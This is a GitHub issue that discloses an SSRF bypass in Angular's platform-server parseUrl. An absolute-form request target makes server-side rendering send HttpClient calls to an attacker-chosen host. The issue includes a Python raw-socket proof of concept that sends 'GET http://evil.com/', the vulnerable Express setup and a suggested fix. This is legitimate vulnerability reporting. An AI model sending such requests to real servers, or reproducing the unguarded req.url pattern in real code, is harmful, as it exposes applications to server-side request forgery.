Skip to content

SSRF Bypass via Absolute-Form URLs in Core Rendering APIs #68436

@VenkatKwest

Description

@VenkatKwest

Which @angular/* package(s) are the source of the bug?

platform-server

Is this a regression?

Yes

Description

The parseUrl function in ServerPlatformLocation (packages/platform-server/src/location.ts) was recently updated to block SSRF via protocol-relative (//evil.com) and backslash (/\evil.com) URLs by checking whether the URL string starts with /. If it does, the server origin is prepended before parsing.

This check does not cover HTTP/1.1 absolute-form request targets.

Per RFC 7230, a client can send a request where the full URL is the request target:

GET http://evil.com/ HTTP/1.1
Host: localhost

When Nginx, AWS ALB, or any standard reverse proxy forwards this to Node.js, Express receives req.url = "http://evil.com/". That string starts with h, not /, so the guard condition urlStr[0] === '/' evaluates to false. The origin is not prepended. new URL("http://evil.com/") parses cleanly and assigns evil.com as ServerPlatformLocation.hostname.

From that point, the SSR HTTP interceptor (relativeUrlsTransformerInterceptorFn in http.ts) treats evil.com as the base for all relative HttpClient requests made during rendering. A call to /api/config inside the Angular component goes out as http://evil.com/api/config — to an external server — silently, server-side, with no error thrown and no CSR fallback triggered.

The commit message for ede7c58a2a itself called out this exact pattern as the typical attack surface:

This vulnerability typically manifests in SSR setups (e.g., Express) where req.url is passed directly to renderApplication or renderModule.

The fix addressed two of the three URL forms that can exploit it. Absolute-form URLs were not handled.

This affects any application using renderApplication or renderModule directly. Applications using CommonEngine or AngularNodeAppEngine from @angular/ssr are not affected at the response level because those wrappers validate the hostname through their own allowedHosts check before calling the lower-level rendering APIs. The bug is in the framework layer below those wrappers.


The steps below can be reproduced on any Angular SSR application using renderApplication directly.

server.ts

import { renderApplication } from '@angular/platform-server';
import express from 'express';
import { readFileSync } from 'node:fs';
import { dirname, join } from 'node:path';
import { fileURLToPath } from 'node:url';
import bootstrap from './main.server';

const server = express();
const serverDistFolder = dirname(fileURLToPath(import.meta.url));
const indexHtmlTemplate = readFileSync(join(serverDistFolder, 'index.server.html'), 'utf-8');

server.get('/{*path}', async (req, res, next) => {
  try {
    const html = await renderApplication(bootstrap, {
      document: indexHtmlTemplate,
      url: req.url,
    });
    res.send(html);
  } catch (err: any) {
    next(err);
  }
});

server.listen(4000);

Build and start the server. Then send the absolute-form request via raw TCP (necessary to bypass browser and fetch URL normalization):

python -c "
import socket
s = socket.socket()
s.connect(('127.0.0.1', 4000))
s.send(b'GET http://evil.com/ HTTP/1.1\r\nHost: localhost\r\nConnection: close\r\n\r\n')
print(s.recv(8192).decode('utf-8', errors='replace'))
"

The server returns a fully server-rendered 200 OK. The terminal shows no error and no CSR fallback. Inside the HTML response, PlatformLocation.hostname resolves to evil.com, and the HttpClient call for /api/config was dispatched to http://evil.com/api/config during the render cycle.


Please provide a link to a minimal reproduction of the bug

No response

Please provide the exception or error you saw

No exception is thrown. No error is logged. The server responds normally with a `200 OK` and the attack completes silently. This is what makes it a security issue rather than a crash — the application gives no indication anything went wrong.

Please provide the environment you discovered this bug in (run ng version)

Angular CLI       : 21.2.7
Angular           : 21.2.9
Node.js           : 25.6.0
Package Manager   : pnpm 10.33.0
Operating System  : win32 x64

Package                     Version
--------------------------------------------
@angular/build              21.2.7
@angular/cli                21.2.7
@angular/common             21.2.9
@angular/compiler           21.2.9
@angular/compiler-cli       21.2.9
@angular/core               21.2.9
@angular/forms              21.2.9
@angular/platform-browser   21.2.9
@angular/platform-server    21.2.9
@angular/router             21.2.9
@angular/ssr                21.2.7
rxjs                        7.8.2
typescript                  5.9.3


---

Anything else?

Root causepackages/platform-server/src/location.ts, parseUrl function:

function parseUrl(urlStr: string, origin: string): URL {
  // The check only guards against strings starting with `/`.
  // Absolute-form URLs like "http://evil.com/" start with `h` and pass through unchecked.
  const urlToParse = urlStr.length === 0 || urlStr[0] === '/' ? origin + urlStr : urlStr;

  return new URL(urlToParse);
}

Suggested fix — validate the parsed hostname against the origin before returning:

function parseUrl(urlStr: string, origin: string): URL {
  const urlToParse = urlStr.length === 0 || urlStr[0] === '/' ? origin + urlStr : urlStr;
  const parsed = new URL(urlToParse);

  if (parsed.hostname !== new URL(origin).hostname) {
    throw new Error(
      `ng-platform-server: Blocked a request with a mismatched hostname. ` +
      `Expected "${new URL(origin).hostname}", got "${parsed.hostname}". ` +
      `This indicates an SSRF attempt via an absolute-form request URL.`
    );
  }

  return parsed;
}

In a normal SSR setup, the parsed hostname will always match the server origin. This change adds no cost to the happy path and closes the remaining gap left by ede7c58a2a.

Metadata

Metadata

Assignees

Labels

area: serverIssues related to server-side renderinggemini-triagedLabel noting that an issue has been triaged by geminisecurityIssues that generally impact framework or application security

Type

No type
No fields configured for issues without a type.

Projects

No projects

Relationships

None yet

Development

No branches or pull requests

Issue actions